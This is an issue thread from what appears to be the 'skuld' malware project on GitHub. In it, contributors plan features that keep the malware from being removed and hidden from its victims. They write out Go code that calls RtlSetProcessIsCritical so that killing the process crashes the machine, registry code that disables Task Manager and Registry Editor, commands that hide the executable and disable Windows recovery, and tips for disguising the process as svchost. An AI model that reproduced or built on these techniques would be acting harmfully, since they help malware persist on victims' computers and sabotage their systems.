Closed EvilBytecode closed 7 months ago
also kirby, if you add attributes on the startup (attrib +h +s) the exe wont be visible
Can i add soon feature like setting process as critical -> if someone tries to delete it or crash it in nutshell they wouldnt be able to beacuse if the process is in critical state and they try to kill it, it will bsod lol.
Feel free to make pull requests without hesitation.
also kirby, if you add attributes on the startup (attrib +h +s) the exe wont be visible
Previously, I had implemented this feature but removed it (https://github.com/hackirby/skuld/commit/51cacadf34b5d6a5b47813bcfa86e317914e9367) due to concerns that Windows might not start the program if it remained hidden. However, after conducting a recent test and confirming that it does start, I will now reintroduce this feature.
there are some ways, what do you think is the best one.
either rtl or just 2 processes you can mask it as svchost or conhost ifyk.
rtlsetprocessascriticate needs UAC bypass in order to work
package main
import (
"fmt"
"syscall"
)
var (
modNtDll = syscall.NewLazyDLL("ntdll.dll")
procRtlSetProcessIsCritical = modNtDll.NewProc("RtlSetProcessIsCritical")
)
func main() {
procRtlSetProcessIsCritical.Call(1, 0, 0)
// don't exit (or BSOD)
var input string
fmt.Scanln(&input)
}
The other method does not need administrative privileges, but... I'm not entirely convinced that triggering a BSOD would really be useful.
I think it would just be annoying x)
RUNDLL32.EXE USER32.DLL,SwapMouseButton
reagentc.exe /disable
key = OpenKey(HKEY_CURRENT_USER,r"Software\Microsoft\Windows\CurrentVersion\Policies\System",0, KEY_ALL_ACCESS)
SetValueEx(key, "DisableRegistryTools", 0, REG_DWORD, 1)
Disabling Task Manager and Registry Editor is a smart move. Also, placing the executable in Critical Process would be a good idea to enhance its protection against debugging.
I don't want to talk about skuld on Discord because I'm afraid of being termed. Unfortunately, I can't use Telegram, but you can reach me via this Matrix link: https://matrix.to/#/@hackirby:matrix.org
okay, ill check the matrix. anyways ill make soon code samples. and you can add them but firstly i need to finish my other project .. give me some hours. if you dont want to wait, just do it yourself its extremly simple 😄 .
check matrix
okay, ill check the matrix. anyways ill make soon code samples. and you can add them but firstly i need to finish my other project .. give me some hours. if you dont want to wait, just do it yourself its extremly simple 😄 .
I understand. I'm quite busy myself. Take all the time you need.
check matrix
I joined the chat and replied to your messages 👍
Hi, https://github.com/EvilBytecode/RtlSetProcessIsCritical/blob/main/CriticalProcess.go
I noticed your code for this feature is quite long. I've written a shorter version that achieves the same functionality in this issue. Perhaps we can review and compare our approaches?
rtlsetprocessascriticate needs UAC bypass in order to work
package main import ( "fmt" "syscall" ) var ( modNtDll = syscall.NewLazyDLL("ntdll.dll") procRtlSetProcessIsCritical = modNtDll.NewProc("RtlSetProcessIsCritical") ) func main() { procRtlSetProcessIsCritical.Call(1, 0, 0) // don't exit (or BSOD) var input string fmt.Scanln(&input) }
The other method does not need administrative privileges, but... I'm not entirely convinced that triggering a BSOD would really be useful.
I think it would just be annoying x)
wont work beacuse of adjust token priviligies
You're right. My code used to work after elevating privileges when I tested it some time ago, but now it doesn't, whereas your code works perfectly.
Yesyes
Can i add soon feature like setting process as critical -> if someone tries to delete it or crash it in nutshell they wouldnt be able to beacuse if the process is in critical state and they try to kill it, it will bsod lol.